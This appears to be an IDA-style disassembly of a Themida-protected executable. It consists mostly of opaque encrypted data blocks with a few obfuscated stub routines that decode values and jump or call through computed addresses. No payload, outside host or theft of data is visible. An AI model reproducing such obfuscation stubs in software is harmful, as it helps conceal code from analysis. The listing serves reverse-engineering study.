dd 0AE802B42h, 8A3E19BCh, 0EC7D17CAh, 3214EDCEh, 6500000Bh
dd 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h, 76FD4904h
dd 0E3AECF43h, 175AFCA7h, 450C3093h, 763F5EC1h, 14B6B430h
dd 0B606DD14h, 0FF83A8EEh, 5288155Ch, 1A9ED771h, 72BFF695h
dd 969D06AFh, 5C1936F7h, 59EDC6D7h, 0DFD601FDh, 125E412h
dd 0FF3F0000h, 1788155Ch, 5EE93D74h, 67A145FEh, 0B5FFF5F8h
dd 45E9CAh, 735C8A17h, 0C81E9ADFh, 0B5FFF5CCh, 0F39172E8h
dd 0F42475BAh, 0A884961Fh, 4F1477CDh, 2Ah, 0EB5E7D0h, 54FAED8h
dd 1A35B600h, 5515595h, 866DB600h, 0F8211D1Dh, 0B4C41477h
dd 9E000000h, 10D2D670h, 87B0B600h, 5CFF0A11h, 6A0EF115h
dd 0D75C5CEEh, 0D26AF57h, 0DA9FB314h, 77D44455h, 63C08DAEh
dd 45EAA3C2h, 0D678B9DCh, 0E264A29Bh, 0AF58039Ch, 992D6407h
dd 91358E2Eh, 2A24877h, 0F5113AB6h, 87AC690Ah, 3C61244Ah
dd 7CADF2EBh, 0E6156783h, 73E59478h, 2B758C95h, 5B09BCD3h
dd 0ABCC77DDh, 0B47CC2E6h, 0FF3CF329h, 0A1806h, 652C4B00h
dd 94D17E21h, 0C28BAD16h, 0F2B7DB44h, 276A0BB4h, 0BD5564E3h
dd 0EA55D19Ch, 1E810548h, 50F3377Eh, 4626642Dh, 0DE2662A4h
dd 0DE1CB606h, 135EFF71h, 40092C97h, 14DA1CFAh, 0DBBA42CBh
dd 0FFD4DF59h, 5288155Ch, 0C7CD071h, 0B75B4A75h, 8B9C01FAh
dd 0AAE3822Dh, 446931Ch, 0E7B60000h, 0AED80EB5h, 0B5FFFECBh
dd 3C7916B9h, 181CDE43h, 0B4B5FFFFh, 684456DFh, 8F1477FEh
dd 1E9h, 0D765A690h, 0F626AF57h, 0E96F994Dh, 0DBB606D4h
dd 0CA694A70h, 8F396783h, 0B606D58Bh, 0F05ADE79h, 41652C4Fh
dd 0D4A9E11Bh, 0B09BB606h, 92028B78h, 344BFD29h, 0EBCAEDBh
dd 0DB5A5EE8h, 0F28BCAEh, 0BC96F216h, 39FAEC7Ch, 94C48h
dd 91D87F00h, 0C085AA15h, 0F6BFD97Ah, 26630FB0h, 531E3FE0h
dd 0E92948D7h, 1E810548h, 4AF5317Ch, 7C27632Ah, 920A90D9h
dd 0DEFA3E48h, 82C8B606h, 155CFFA5h, 3D741788h, 1B8431F0h
dd 0E2387114h, 6CACDE04h, 37AF57D7h, 408A5C15h, 4FA3CFB3h
dd 0A3F5EE1Ah, 0DF2A1BF7h, 13FE212h, 0FF450000h, 1788155Ch
dd 4F893D74h, 0BA600DF2h, 0F1F9B8D7h, 2E4A8F79h, 0AE19E335h
dd 0F711B50Eh, 0B600C188h, 8A4CD17Ah, 0B600C18Ah, 0D6E44D26h
dd 147738FAh, 441Dh, 8895E700h, 0AB14F6EFh, 0E72E75A3h
dd 0B2D80EB5h, 3B7D3051h, 4D22Dh, 1A87B0B6h, 4D4D0h, 9A1BF0B6h
dd 77F8AC98h, 0DAC56314h, 0D2D6F0B5h, 0B0B60010h, 0AFE31187h
dd 85000000h, 0DD829D73h, 0F83068A1h, 155CFFB3h, 57667F1h
dd 5AD1BBE4h, 9E034AE9h, 0E7B82B8Dh, 0FDA60B46h, 198A175Eh
dd 9F7337Ah, 8E02D0CFh, 593B304h, 588CCDC3h, 0FEB7D6AFh
dd 6BD1FA8h, 2C77A6E0h, 0EF69B603h, 1A1DBC5Dh, 0D17FB9E3h
dd 3E5F4066h, 0EB8C3773h, 9D9D16Bh, 8ABB603h, 0A8812E6Bh
dd 4022C6BFh, 30F3288Eh, 80F12F3h, 27420000h, 0DA77D86Eh
dd 80A80B9Fh, 0BCD27DC9h, 6102ADF9h, 60119E2Ch, 4EDC91B2h
dd 0B20845E5h, 0EC3A7311h, 0DD692043h, 31699349h, 13B606E0h
dd 59BA6ED5h, 0FF287538h, 1855F6B9h, 4B022182h, 5CFFD0FFh
dd 71528815h, 18119ED7h, 256C0F90h, 0E9215B81h, 0DBAF57D6h
dd 0D1523870h, 23Ch, 0EB5E7F4h, 3351B2D8h, 0B4E4357Ah
dd 6D58EB2h, 56DB74B6h, 6D59094h, 0CD362CB6h, 0EF84E5A0h
dd 841405AAh, 9874862Fh, 7F147128h, 1F7h, 0D765A6C0h, 987BAF57h
dd 0AA7DBBF6h, 0F315B10Ah, 0B606D4C7h, 8B7492BDh, 0BA65A1E8h
dd 914DD29Bh, 0D2460F2Eh, 0AE5CE755h, 0B6F39F00h, 2ECF303Ch
dd 3464B9D5h, 0AE39DB32h, 6228DBCh, 0ED27E94Fh, 0A091BFE1h
dd 0A2463FD8h, 0EC7D82BAh, 2E847DBEh, 61000007h, 983B8FC6h
dd 0C768BEFBh, 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh
dd 2B6608ABh, 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606E110h
dd 0FF8FB4F2h, 1788155Ch, 2FF03D74h, 49DA4702h, 72386528h
dd 72DD5CC5h, 0AB1458D9h, 0BA50258Dh, 0F8F8590Eh, 6706A90Fh
dd 0D2CB82A6h, 2545AE54h, 7854C068h, 9F12DFC8h, 13Bh, 9D5CFFA0h
dd 3454B5F0h, 0EE7307Dh, 145D00A1h, 3C873596h, 0F6117C8Eh
dd 58F3B5FFh, 0F61313DBh, 0C4AFB5FFh, 0CD635F5Bh, 488A1477h
dd 9D000000h, 0E286B5E7h, 3C1506ABh, 803A608Eh, 0AF57D788h
dd 8147D17Ah, 0B600056Eh, 0B4B6FB54h, 0B6000570h, 0D25F1233h
dd 4B6F214h, 0A38CB600h, 43E52042h, 9B74A50Ah, 65CEBF16h
dd 40E14AD6h, 77F84632h, 0A5A114h, 0FF7A0000h, 0B1FC9D5Ch
dd 0DD423B6Ch, 0B86E2344h, 357A3757h, 0BD7B4E4h, 62CF8AA8h
dd 1D40EF49h, 3756CF54h, 0F0DE287Eh, 0B3AF5850h, 13083890h
dd 15C88676h, 0FF5DEE3Ch, 103DA644h, 59DFC855h, 0C4466993h
dd 133CB602h, 0FB3F49F7h, 0C9B602C3h, 0BF20CA6Eh, 0ACEC1E9Eh
dd 96B602C3h, 0DD46C4BDh, 5FD7F1BCh, 71F328D4h, 5E3D1B2h
dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh
dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh
dd 65A5E705h, 5FB606E2h, 5EFF3219h, 92C9713h, 0FFDDFA40h
dd 0B2FB9D5Ch, 0DE433C6Dh, 18A22645h, 0AF57D720h, 0AA5049E2h
dd 32662F49h, 16C748h, 0FFE20000h, 1788155Ch, 1DF03D74h
dd 5D0007A8h, 280D9614h, 28000000h, 703559BAh, 7CD47738h
dd 9DBB10A4h, 845E4FD4h, 1DF69367h, 2B6206E9h, 0D9DC1E8Dh
dd 43AF5859h, 21444BD4h, 0BAF5D268h, 22763F59h, 7397DE7Dh
dd 7CA3FEF9h, 2D4FBB38h, 0F5EE3F64h, 7DBBFE94h, 14AF0D8Eh
dd 0A00A64F6h, 4CE62264h, 73DCAF58h, 48DFA97Bh, 0E4C07AE0h
dd 0DEB6070Bh, 0CF6E5175h, 4A236A0Eh, 793053FCh, 7AC17334h
dd 9EBD264Ch, 0C7514AD7h, 0B6097A01h, 0E3836CBCh, 5F480526h
dd 783D51D2h, 0AF09E23Bh, 0AF10B661h, 0D721C58Ch, 94366E5Ch
dd 0BCB67F94h, 60DC56Eh, 0B9039598h, 0F13E7716h, 8B3F8428h
dd 5E6F6A71h, 0C9FF58C3h, 0E5CD2947h, 0BA996A49h, 0ED000004h
dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch
dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h
dd 0B606E48Ch, 0FF0B3076h, 2E91155Ch, 56A0460Fh, 32490409h
dd 0F457C134h, 0A541082Bh, 0E9266953h, 0ADCF33B8h, 0F49A0BE4h
dd 1B8467B1h, 33EC3178h, 38D25F12h, 17710F01h, 0F25BA6FDh
dd 45082A31h, 6BD6CFD8h, 3B5A61C2h, 0F00D0DBFh, 5CF7AF57h
dd 9B772763h, 6212DFCFh, 50h, 0EB5E7C5h, 3351B2D8h, 9B283E7Ah
dd 69B60026h, 95B718CEh, 25B3F711h, 13B5B600h, 0B6002617h
dd 978042EDh, 989E68BEh, 0BB60026h, 0C489A968h, 0E9A4C65Fh
dd 97A5344h, 0FC4A236Ah, 3B783153h, 4347812Fh, 1B60026h
dd 0E63D8216h, 18000003h, 88155CFFh, 0CC81852h, 1C087DB6h
dd 3970139Ch, 41FA5AEDh, 3FC63A5h, 1E2B600h, 95862B62h
dd 0B9DAFD03h, 857EAFF4h, 1FDE7E61h, 0BFE8357Ch, 75F152C6h
dd 0DC6EEA8Ah, 0B60003DCh, 4948DA6h, 3C2C2h, 0A43E1B6h
dd 5AF295A5h, 0CF583060h, 5BFC315Eh, 71F03D16h, 0D45CDB44h
dd 0C8A4B67Fh, 2F14776Ch, 4Ah, 0C3B5E7F0h, 57D781B9h, 0FFE843AFh
dd 55EB1CBh, 0F600B600h, 9B991DD9h, 50FE3A76h, 0BFE0C3E7h
dd 0B8FD91F2h, 4B4B9370h, 67B60077h, 0F53557FDh, 0C7B60076h
dd 32379347h, 1601C1B0h, 8A882982h, 1477B09Eh, 0CF79h
dd 5CFFC200h, 76178815h, 0E2DF63Bh, 2A49DA47h, 0CB252763h
dd 0D8AF57DBh, 5AEFCB5h, 64822F66h, 7518D97Bh, 0CDA6F73Ch
dd 26E13760h, 5F994DF6h, 59FABDE3h, 449E8F14h, 5816EF68h
dd 7FC40660h, 343E7A53h, 7E6792h, 0B4F25DB6h, 63920C4Eh
dd 0F6F3DFC0h, 892F1855h, 81259E3Eh, 0F9E9215Bh, 70DBB5FFh
dd 9F883238h
dd 41BCAA9Ch, 2375305Eh, 2B94321Dh, 60C3470Ah, 0C456723Fh
dd 0CCEC80FBh, 2AF16EFh, 47E20000h, 7A17B80Eh, 2048EB3Fh
dd 0DC72DD69h, 81A20D99h, 0C0F17ECCh, 2E7C3152h, 12A8E585h
dd 4CDA93B1h, 0BD0940E3h, 91893329h, 73B606E6h, 5EFF0E35h
dd 3BB3F69Bh, 70EFD76Fh, 90160FF2h, 0C1450C2Fh, 0DA97B81Bh
dd 0CFD44455h, 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 7A3352B6h
dd 64CC6C35h, 0AE60DCF2h, 0CF544DEAh, 0AF2EF764h, 4709AA01h
dd 2D72375Ch, 0A2E78BFCh, 288C2C7Dh, 1477FA3Ch, 0AADBh
dd 5CFF6C00h, 76178815h, 1248F3Bh, 30689248h, 12AF57D7h
dd 0CA0CFF39h, 0AF57DBB4h, 81054CEFh, 0E9367F1Eh, 93378C20h
dd 0FFEC0269h, 0B357C0B5h, 0EBB7F315h, 0A28DB5FFh, 0C4692C41h
dd 4CFF45D3h, 4CB753E8h, 0EF38652Ch, 0D119A349h, 0B3BCAA8Ah
dd 0E0816298h, 95B619ADh, 3A672250h, 0AC85C869h, 0CE53163Bh
dd 30C4E4DDh, 60EC810Dh, 1B7C243h, 4FEA0000h, 721F8006h
dd 2850F337h, 0D47A2561h, 89AA1591h, 0B8F946C4h, 3674395Ah
dd 1AA0ED8Dh, 54D29BB9h, 850148EBh, 89813B21h, 7BB606E7h
dd 5EFF163Dh, 92C9713h, 0FFDDFA40h, 0B2FB9D5Ch, 0DE433C6Dh
dd 47E72645h, 0D78585C7h, 0D47FAF57h, 0BEE402FBh, 317E3755h
dd 0D6DADEF8h, 8FA8AF57h, 5D00A329h, 0AE0E8F14h, 0B457F115h
dd 8EB60002h, 0ADF978A5h, 2C5C507h, 1CBFB600h, 0D1473079h
dd 93B2B97Ah, 44862CDAh, 0B6000344h, 3983153Eh, 7C1D2E8Eh
dd 4ABBEC31h, 0EAC36025h, 0F8B3D5F1h, 0EEBCA822h, 5E0D206Ch
dd 0D7EF1DFh, 0ACFD226Bh, 0BD69C20Ch, 3B7D3052h, 0FDB4D748h
dd 24FEFB0h, 2D64049Dh, 149D0A80h, 0FCA51685h, 0D6F44FEDh
dd 0A8004DEDh, 97BB2442h, 0FBADED1Fh, 0BC97BCA7h, 46805EC3h
dd 0BCA7FC42h, 0FA3E1700h, 501BAD6Ch, 2C50B3C3h, 49EF3865h
dd 0F01EAC87h, 1BF8304Ah, 61CAC350h, 8CC56837h, 5ADE7E27h
dd 501BE820h, 0D69BBBC3h, 0D891B314h, 0EFD0F6EFh, 3695034Eh
dd 12199A33h, 238C3A73h, 0C8E14E03h, 0F3219A60h, 91689248h
dd 73C9F847h, 0ABCA5BD8h, 11BABDE2h, 928ACC90h, 3493C0E0h
dd 8331F622h, 0FD0F8FB0h, 0C9F8B8BDh, 6EB3AC87h, 64A6443Dh
dd 0D0A0E485h, 0F556D47Fh, 0BCCEFC47h, 0D74FE1E9h, 2C4A70DBh
dd 4FE29E9Ah, 6DCB64D7h, 4F0625FEh, 7C3558FBh, 49573737h
dd 8D7E4505h, 377E1D24h, 852D50F3h, 956CD9EEh, 0E64B2457h
dd 0B9DC113Dh, 579A07F0h, 8EBB57Eh, 97802D64h, 0B6FF9E01h
dd 0E5ACCF70h, 3C7B8h, 0B0E20000h, 1158FFCBh, 3970138Ch
dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
dd 0CD84A47Dh, 0D792BF60h, 2768FA4Ah, 89000036h, 8682404h
dd 8900006Eh, 8950240Ch, 405E0h, 42D0000h, 87000000h, 895C2404h
dd 0BA52243Ch, 6AEFEFEh, 89D78957h, 545A5FF9h, 81243C8Bh
dd 4C4h, 2DA96800h, 0C890000h, 24348124h, 316D5B48h, 8108478Fh
dd 5B480877h, 34FF316Dh, 0C4815F24h, 4, 592434FFh, 0E904C483h
dd 0FFF96B66h, 9226C6h, 0A9712E4h, 0E45B7D6Bh
db 8Fh
; ---------------------------------------------------------------------------
loc_5BAC75: ; CODE XREF: Themida_:loc_5B985Cj
mov eax, 6AF11F1h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 1874h
dd 0FDE80F67h, 10E13C09h, 45790CAAh, 0ECE865EFh, 7D8C4748h
dd 65386CD2h, 64855DEFh, 953D45BBh, 7CAC13F6h, 1AE94402h
dd 50000000h, 2155D6h, 5 dup(0)
dd 521E900h, 27420000h, 0DA77D86Eh, 80A80B9Fh, 0BCD27DC9h
dd 6102ADF9h, 60119E2Ch, 4EDC91B2h, 0B20845E5h, 0EC3A7311h
dd 0DD692043h, 31699349h, 13B606E9h, 59BA6ED5h, 165FFE3Fh
dd 1134FB3Dh, 0D7377395h, 0AA0DAF57h, 0FED7C085h, 24FF0B1h
dd 31781B84h, 430A2A95h, 0D72565A7h, 341FAF57h, 0FF9E07E4h
dd 9BB869B6h, 78E251DEh, 7BB8F197h, 941DF622h, 63A7EE8Dh
dd 3C5D9CC0h, 0C4629871h, 57D78682h, 45D37CAFh, 793054FFh
dd 67CB6B34h, 0F4A439B6h, 5AA8332h, 4148E9C2h, 16BC6A23h
dd 58B9B4F4h, 73A58EAFh, 4E072689h, 0BA1E19E1h, 0F6CAF58h
dd 35B894A6h, 5E5F12DFh, 0E0000000h, 88155CFFh, 57D7484Eh
dd 7C25B2AFh, 0F5A7A630h, 0CA572BD7h, 69DECA6Eh, 143912DFh
dd 0C3000000h, 59331989h, 0B11F0E5Fh, 55BDA1DCh, 6102635Ch
dd 0FFA78C2Ch, 0B4FD9F52h, 0A0CD56DBh, 4BE7B8E5h, 5932A10Eh
dd 856E94D8h, 1607ACE9h, 57D6ACECh, 7BBD96AFh, 4CDA9FB4h
dd 0BD0940E3h, 135EFF96h, 3D78158Eh, 1B8431F0h, 96B67314h
dd 0FFA0E6DFh, 0EF1155Ch, 0A1FA276Eh, 6D0B9477h, 2E588624h
dd 0AF57D6EAh, 1008B2D8h, 0F2AF57D7h, 5BC86059h, 85951EF5h
dd 12DFD459h, 647Ch, 5EFFC700h, 73158E13h, 0AD1EF53Ah
dd 115CFD04h, 44092A95h, 0A3E503DFh, 0AF57D767h, 94D97A5Dh
dd 9CB27DBBh, 57F13C51h, 0AF98911Eh, 2C8769B6h, 0D46B7783h
dd 449212DFh, 0B5000000h, 0F7135EFFh, 0F523660Ch, 0A6EF8D16h
dd 4180A879h, 2F746D20h, 169BD276h, 0FA793A93h, 0D8A40D66h
dd 9D1B56F7h, 0EE3C7112h, 9F52FFC1h, 50DDB6F3h, 57D78F96h
dd 35FEFDAFh, 0DFD64925h, 1AC12h, 0FF770000h, 9EA1059h
dd 0C28BAD68h, 0C5534C5Dh, 0D79EBD66h, 0E4ADD033h, 2D4ED7B4h
dd 0C30BC360h, 0AA80B316h, 0C18CAE1Fh, 0ECA5C35Ch, 0E170316Eh
dd 252CF5DEh, 4BFC4A03h, 0C10AB3E9h, 0E08B5148h, 12A9D3F7h
dd 0F0B6006Fh, 2A49DA47h, 0BF392763h, 60BDA4BDh, 0F6B9FF8Eh
dd 7E81E57h, 188B2D64h, 5ED8DEh, 0E64F24B6h, 1314BCDFh
dd 785C435Ch, 1B8402FBh, 33EC3178h, 55D45910h, 0D3037F8h
dd 7A56C644h, 9D147748h, 146h, 0EB5E7A6h, 723AED8h, 36E1B600h
dd 0F3F54690h, 0F8FB3F49h, 6EC9B5FFh, 0B4552594h, 785B8764h
dd 4159AD7h, 0EC680B94h, 822F6203h, 982961A9h, 301BB600h
dd 0BA25C347h, 0DE41D79Eh, 0AAD0F6BFh, 5A642949h, 0B600985Eh
dd 0ADDF0B24h, 0B600986Dh, 0CFBCFC57h, 487E3756h, 0F3B1830Eh
dd 0EF4959AAh, 8F10BD7Ch, 8243E2CDh, 64B4ADE0h, 55D198BBh
dd 776BF5E1h, 2C1014h, 0E72B0000h, 0ADDF0BB6h, 2F57D74Dh
dd 57971C37h, 2F57D753h, 2645EE45h, 6A9C4AF5h, 0AF57D70Eh
dd 21CF5BF4h, 41D79EBEh, 0A1FEh, 0B5E7D900h, 0CFAED80Eh
dd 0B5B6000Ah, 0E98C159Ah, 7AFC1AA0h, 467CCCFEh, 0DC43D596h
dd 80CAF0B9h, 958151D1h, 0EAA0C5D5h, 587AA73Fh, 2A2C9F19h
dd 0B60095E9h, 48D598BAh, 0B7FCB5D7h, 8A09AA01h, 6834FDF6h
dd 30F788C2h, 28C98967h, 23AAEEh, 153798B6h, 6A35635Ch
dd 830482CBh, 0CA7CAA11h, 0BCAF3668h, 0B6ACF15Ah, 3F64214Dh
dd 46E54AEEh, 0B2ABE687h, 0AB0EA6Dh, 0AF35B8F0h, 0A1DE82BCh
dd 0C3F6349Ch, 2B802803h, 0A399B8Ah, 40FA276Eh, 0CAAB53ABh
dd 877069DBh, 247BD963h, 0EE49C35Eh, 30BA7358h, 672D3E2Dh
dd 7A8E1700h, 0EC12D52Dh, 1CB077A1h, 0DA47022Fh, 0D132E8C1h
dd 64B5FAB3h, 369C2E34h, 0CB60714h, 7F60FE23h, 1E0F94DDh
dd 3F76159Ah, 6C2548EBh, 0E27207C7h, 0AA03DE01h, 2A630209h
dd 5910339Ch, 88A50ED4h, 0ABEF19CDh, 99DE01E1h, 99B57ABEh
dd 73AC2EDCh, 2334E361h, 2DF655C3h, 49DA470Eh, 703E632Ah
dd 34DB5ADBh, 6C0F169Fh, 0CA5A5EE8h, 0EE28DE02h, 0DA294D29h
dd 97807920h, 6B0AF513h, 5AC78EAAh, 0D2CB6841h, 0F3BAD946h
dd 1B1FA9D7h, 88DE02CDh, 2801AEEBh, 1216B0D6h, 0F0DE02CDh
dd 59CA6E47h, 3E8h, 0CBB0C300h, 8C1158FFh, 0F4397013h
dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
dd 60CD84A4h, 4AD792BFh, 0E78957FAh, 4C781h, 0BB530000h
dd 4, 875BDF29h, 685C243Ch, 543Ch, 57242C89h, 0C781E789h
dd 4, 4EF81h, 3C870000h, 1C895C24h, 0C1685324h, 5B39213Ch
dd 5A7FF381h, 0E3C154D7h, 0EB814B06h, 76EA9CC2h, 835B5D53h
dd 248904ECh, 24048324h, 52515B04h, 57792168h, 814A5A03h
dd 0CD3F78CAh, 0A3C2811Eh, 816E807Eh, 5FFE13EAh, 5AD1898Eh
dd 2989D901h, 2434FF59h, 4C4815Bh, 8B000000h, 8956242Ch
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 65E8E95Ch, 0D5B1FFF9h
dd 0B86B1FABh, 6AF1738h, 0E0FFC503h, 0CCE71C4h, 1C17E7E2h
dd 60B1B827h, 60004907h, 78C68F61h, 3A7F308Ch, 78429EC3h
dd 1BF4FF5Dh, 147B4777h, 787D152Bh, 7F1479A3h, 590CE4A6h
dd 5C0B305Bh, 2719DF7h, 741B8836h, 192A8D8Dh, 6A06AFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8021C6C3h, 8D8943E3h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0ECC35545h, 607D6EA7h, 858BF33Ch
dd 6A83135h, 0CB5362BEh, 6985C766h, 0C006A814h, 6A00006Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 9622C353h, 0BA55D1E2h, 0F3213FEDh, 0C7C2B70Fh
dd 0A80BBD85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 80E4DE88h, 9D8B7CCCh
dd 6A829D1h, 1561B5FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0E556C4C3h, 0E8D37FA0h
dd 0C78B6652h, 0DD95FF5Ah, 0E906A820h, 0Ch, 0E4914A1Dh
dd 2DA9DA9Dh, 75278022h, 95FF006Ah, 6A81B31h, 0BEBC08Bh
dd 0D1544DECh, 0A16AE8D7h, 0C60B7902h, 0A815D585h, 0DF685606h
dd 0FFA9C530h, 0A80F95B5h, 71858D06h, 0FF06AB69h, 0D98D8DD0h
dd 5106A82Ch, 0B5FF406Ah, 6A80CB9h, 0D81B5FFh, 0D0FF06A8h
dd 0CB9B5FFh, 0B5FF06A8h, 6A80D81h, 0DE8h, 0E38C8100h
dd 1E5C492Eh, 1240982Bh, 5A5A24BBh, 0C104EA83h, 0C102242Ch
dd 3022424h, 1CF72414h, 6824h, 0FF5E0000h, 81591634h, 0F6C8EDE9h
dd 0F9E98129h, 817FF619h, 0AC199DE9h, 320C8947h, 4E02EE83h
dd 24343B4Eh, 0FFD9850Fh, 9D8DFFFFh, 6A82065h, 0C00B038Bh
dd 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h, 0Bh, 2EF7E3A3h
dd 0DA3AAEF5h, 8B6216C0h, 0B4B75AF1h, 5B02C281h, 0BF0F0000h
dd 0B9C02BD9h, 7650D6F3h, 0B9023C8Bh, 4BE2234Ch, 8233F781h
dd 0F18B01D5h, 13E1F781h, 0BB6669AFh, 0C7817ACCh, 37C96E52h
dd 9E9h, 52E0CA00h, 0AB9F54E3h, 0F571699h, 48FF0B7h, 0D3CE8102h
dd 0F4A6FC0h, 0E883F7B7h, 6E904h, 21730000h, 0D63D77DFh
dd 0A5B8F881h, 850FFFFFh, 15h, 0E9C8B70Fh, 3Eh, 9422F9C8h
dd 3CD55877h, 23891496h, 11E8600Eh, 0C1000000h, 9FA94C80h
dd 0DEE24596h, 0CEBB2C5Eh, 0CCE2736Ch, 0E3F28166h, 0E9615971h
dd 0FFFFFF70h, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 5FE96748h
dd 52000001h, 0E860D48Bh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AF1AB3h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5BB60D
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 8EF02A20h
xor eax, ebx
sub eax, 4
mov [ebp+6A805B9h], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0C2554FA4h
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+6A81469h], eax
mov eax, [edx+14h]
mov [ebp+6A80BBDh], eax
mov eax, [edx+18h]
push ebx
jmp loc_5BB5D1
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A82A8Dh]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A81DA9h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A81561h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A80E01h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A814A1h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A81535h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A805FDh]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A80D41h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A8298Dh]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A82071h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A801B1h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A816FDh]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A82111h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A82A11h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A80915h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
push dword ptr [ebp+6A83509h]
jmp loc_5BB5E5
; ---------------------------------------------------------------------------
loc_5BB5D1: ; CODE XREF: Themida_:005BB51Cj
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+6AF1B14h]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5BB5E5: ; CODE XREF: Themida_:005BB527j
; Themida_:005BB532j ...
call dword ptr [ebp+6A820DDh]
pop ebx
loc_5BB5EC: ; CODE XREF: Themida_:005BB605j
mov eax, [ebp+6A805B9h]
cmp [eax+4], ebx
jnz loc_5BB60A
push ebx
push 1
call dword ptr [ebp+6A81B31h]
pop ebx
jmp loc_5BB5EC
; ---------------------------------------------------------------------------
loc_5BB60A: ; CODE XREF: Themida_:005BB5F5j
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5BB60D: ; CODE XREF: Themida_:005BB4CFj
popa
pop edx
mov eax, 77D4C96Ah
jmp eax
; ---------------------------------------------------------------------------
dw 858Bh
dd 6A82235h, 1C028D8Dh, 418906AFh, 0E8C38B01h, 5, 5A9FBD6Ch
dd 0F5BFC04h, 0C381D2B7h, 67F2h, 2D26BE66h, 14E9FF2Bh
dd 0C3000000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch, 2FFFF5D9h
dd 8B57D6B9h, 6E83B04h, 17000000h, 520D2D82h, 815EFCAEh
dd 48741EE8h, 0F38B6625h, 3BE8F081h, 0FE86B9Ah, 25000000h
dd 6D3ED502h, 0AFA788Ah, 0C12E0BF0h, 0CE9A192h, 4F000000h
dd 0B01D15F5h, 313FFD1Dh, 59C6DFEAh, 0AFBE881h, 50F95856h
dd 0ABEABE66h, 663B048Fh, 317DEE81h, 44F18152h, 5E31F732h
dd 0F04EF83h, 0FF81F2BFh, 0FFFF98C0h, 0FF8D850Fh, 830FFFFFh
dd 0Eh, 0E8D88160h, 811AA40Ah, 0F1A9CDD8h, 6E86121h, 1D000000h
dd 526A9B44h, 0BE9B5h, 79280000h, 5AB87991h, 7FAD8297h
dd 81665B86h, 81E8D6DAh, 59EAC3h, 1E2BE00h, 0F681074Fh
dd 74F17B7h, 0EA8033FFh, 0E9565900h, 7, 2A671035h, 58B3678Fh
dd 0A8E9E981h, 9AB80DF3h, 8152657Bh, 0E780D4C1h, 0CA81666Fh
dd 0E9811FDEh, 47BF9AAFh, 660B89F9h, 0EB81D08Bh, 186B8814h
dd 0D2C88157h, 587EB854h, 8810C381h, 0CE8186Bh, 3C000000h
dd 0C2CC59E8h, 0A60E3BEBh, 6600B598h, 0A083D781h, 850F4E5Fh
dd 0FFFFFF98h, 0A8913FBAh, 1DE97Ch, 0AF840000h, 6184h
dd 5 dup(0)
dd 0E9000000h, 4AFh, 0AF1E8368h, 601CE906h, 0FB68FFF9h
dd 0E906AF1Eh, 0FFF96012h, 0AF204F68h, 6008E906h, 2346FFF9h
dd 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh, 6506A9FDh, 64159228h
dd 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh, 0D1551C3Fh, 35759755h
dd 0FB606F4h, 5EFF62C9h, 76158E13h, 0E6DF9AB7h, 0EB5E7A0h
dd 0E1FFAED8h, 6AC5B5FFh, 7B3E53BCh, 0D0B3E536h, 0FFE20E16h
dd 26B0AAB5h, 715CEE1Eh, 33A80071h, 73746072h, 0E8931477h
dd 0B4000002h, 43F12201h, 51B8C2F8h, 33B5FFEDh, 9766A018h
